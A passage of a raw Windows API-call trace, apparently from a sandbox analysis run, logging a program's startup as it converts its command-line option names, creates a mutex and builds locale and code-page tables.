returned 15 [0178.106] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x242d38 [0178.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472a00, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=18 | out: lpWideCharStr="--restart-service") returned 18 [0178.107] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.107] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729f0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--finish-update") returned 16 [0178.107] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.107] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729e0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--set-password") returned 15 [0178.107] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.107] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x242d38 [0178.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729cc, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=18 | out: lpWideCharStr="--remove-password") returned 18 [0178.108] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0178.108] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d6d0 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729c0, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=12 | out: lpWideCharStr="--get-alias") returned 12 [0178.108] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.108] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729b4, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--get-id") returned 9 [0178.108] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.108] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242d38 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14729a0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=19 | out: lpWideCharStr="--register-licence") returned 19 [0178.108] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147298c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0178.108] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x26) returned 0x242d38 [0178.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147298c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=19 | out: lpWideCharStr="--register-license") returned 19 [0178.109] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147297c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.109] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147297c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--get-status") returned 13 [0178.109] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147296c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.109] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147296c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--disclaimer") returned 13 [0178.109] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472960, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.109] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d6d0 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472960, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=10 | out: lpWideCharStr="--version") returned 10 [0178.109] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.109] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472950, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0178.110] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146f554, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146f554, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--gc-starter") returned 13 [0178.110] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456a54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0178.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x242d38 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1456a54, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=21 | out: lpWideCharStr="--message-system-app") returned 21 [0178.110] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472940, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0178.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x242d38 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472940, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=14 | out: lpWideCharStr="--add-profile") returned 14 [0178.110] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147292c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x242d38 [0178.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147292c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=17 | out: lpWideCharStr="--remove-profile") returned 17 [0178.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0178.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x242d38 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147291c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0178.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1434834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0178.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x242d38 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1434834, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=25 | out: lpWideCharStr="--config-restore-default") returned 25 [0178.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bc0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0178.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x242d38 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bc0, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=14 | out: lpWideCharStr="--diagnostics") returned 14 [0178.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d748, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0178.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x242d38 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146d748, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=14 | out: lpWideCharStr="--new-install") returned 14 [0178.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e2d0 [0178.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bd0, cbMultiByte=-1, lpWideCharStr=0x24e2d0, cchWideChar=8 | out: lpWideCharStr="--clean") returned 8 [0178.112] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e2d0 | out: hHeap=0x240000) returned 1 [0178.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104b18c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.112] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104b18c, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--show-settings") returned 16 [0178.112] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0178.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x242d38 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bd8, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=14 | out: lpWideCharStr="--dont-update") returned 14 [0178.115] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472be8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0178.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x242d38 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472be8, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=13 | out: lpWideCharStr="--fullscreen") returned 13 [0178.115] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bf8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d6d0 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472bf8, cbMultiByte=-1, lpWideCharStr=0x24d6d0, cchWideChar=9 | out: lpWideCharStr="--silent") returned 9 [0178.115] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d6d0 | out: hHeap=0x240000) returned 1 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472c04, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472c04, cbMultiByte=-1, lpWideCharStr=0x242d38, cchWideChar=16 | out: lpWideCharStr="--with-password") returned 16 [0178.116] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d38 | out: hHeap=0x240000) returned 1 [0178.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472c14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0178.116] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e2d0 [0178.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1472c14, cbMultiByte=-1, lpWideCharStr=0x24e2d0, cchWideChar=8 | out: lpWideCharStr="--plain") returned 8 [0178.116] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e2d0 | out: hHeap=0x240000) returned 1 [0178.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432518, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.116] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x242d38 [0178.124] GetLastError () returned 0x0 [0178.125] SetLastError (dwErrCode=0x0) [0178.125] GetLastError () returned 0x0 [0178.125] SetLastError (dwErrCode=0x0) [0178.125] GetLastError () returned 0x0 [0178.125] SetLastError (dwErrCode=0x0) [0178.125] GetLastError () returned 0x0 [0178.125] SetLastError (dwErrCode=0x0) [0178.125] GetLastError () returned 0x0 [0178.125] SetLastError (dwErrCode=0x0) [0178.125] GetLastError () returned 0x0 [0178.125] SetLastError (dwErrCode=0x0) [0178.125] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Local\\ad_trace_mtx") returned 0xe8 [0178.126] GetLastError () returned 0x0 [0178.126] SetLastError (dwErrCode=0x0) [0178.126] GetLastError () returned 0x0 [0178.126] SetLastError (dwErrCode=0x0) [0178.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xd8) returned 0x242ca0 [0178.126] GetLastError () returned 0x0 [0178.126] SetLastError (dwErrCode=0x0) [0178.126] GetLastError () returned 0x0 [0178.126] SetLastError (dwErrCode=0x0) [0178.126] GetUserDefaultLCID () returned 0x409 [0178.128] GetLocaleInfoW (in: Locale=0x409, LCType=0x20001004, lpLCData=0x1263e8, cchData=2 | out: lpLCData="Ӥ") returned 2 [0178.129] IsValidCodePage (CodePage=0x4e4) returned 1 [0178.129] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0178.129] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x126440, cchData=64 | out: lpLCData="English") returned 8 [0178.130] GetLocaleInfoA (in: Locale=0x409, LCType=0x1002, lpLCData=0x126480, cchData=64 | out: lpLCData="United States") returned 14 [0178.130] GetLastError () returned 0x0 [0178.130] SetLastError (dwErrCode=0x0) [0178.130] GetLastError () returned 0x0 [0178.130] SetLastError (dwErrCode=0x0) [0178.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1f) returned 0x24d680 [0178.130] GetLastError () returned 0x0 [0178.130] SetLastError (dwErrCode=0x0) [0178.131] GetLastError () returned 0x0 [0178.131] SetLastError (dwErrCode=0x0) [0178.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1f) returned 0x242d80 [0178.131] GetLastError () returned 0x0 [0178.131] SetLastError (dwErrCode=0x0) [0178.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1041418, cbMultiByte=127, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0178.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1041418, cbMultiByte=127, lpWideCharStr=0x1261a8, cchWideChar=127 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7fû⨰$Ⲡ$Ⳁ$") returned 127 [0178.131] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7fû⨰$Ⲡ$Ⳁ$", cchSrc=127, lpCharType=0x126360 | out: lpCharType=0x126360) returned 1 [0178.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24e6e0 [0178.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x300) returned 0x24eb30 [0178.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x180) returned 0x24ee38 [0178.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x180) returned 0x24efc0 [0178.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x101) returned 0x24f148 [0178.131] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1262f4 | out: lpCPInfo=0x1262f4) returned 1 [0178.131] GetLastError () returned 0x0 [0178.131] SetLastError (dwErrCode=0x0) [0178.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f148, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0178.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f148, cbMultiByte=256, lpWideCharStr=0x126038, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0178.131] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x24ec30 | out: lpCharType=0x24ec30) returned 1 [0178.131] GetLastError () returned 0x0 [0178.131] SetLastError (dwErrCode=0x0) [0178.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f149, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0178.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f149, cbMultiByte=255, lpWideCharStr=0x126028, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0178.132] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 255 [0178.132] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=255, lpDestStr=0x125e18, cchDest=255 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0178.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchWideChar=255, lpMultiByteStr=0x24eeb9, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿI\n÷$\\Ò", lpUsedDefaultChar=0x0) returned 255 [0178.132] GetLastError () returned 0x0 [0178.132] SetLastError (dwErrCode=0x0) [0178.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f149, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0178.132] MultiByteToWideChar (in: 